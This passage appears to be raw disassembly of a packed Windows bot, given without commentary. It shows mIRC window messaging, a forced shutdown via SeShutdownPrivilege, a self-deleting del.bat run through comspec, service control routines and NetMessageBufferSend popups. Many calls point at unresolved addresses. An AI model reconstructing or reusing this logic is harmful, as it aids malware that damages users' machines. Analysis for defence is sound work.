		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26B0669h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	near ptr 2830522h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 2830000h
		nop
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 28401CFh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2840000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		nop
		call	near ptr 2830B31h
		push	edi
		nop
		call	near ptr 26808BBh
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2850000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 28407D5h
		nop
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1


loc_418886:				; DATA XREF: Themida_:005A4CCFo
					; Themida_:005A4CD3o ...
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27506FCh
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2740000h
		nop
		push	edi
		nop
		call	near ptr 26808BBh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 26B0C06h
		nop
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B0B43h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26B0A02h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2860000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2680B8Eh
		nop


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 2700552h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 2700552h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26E0000h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26E03D4h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27E0813h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 26B0669h
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		call	near ptr 26B0669h
		nop
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 26B0669h
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
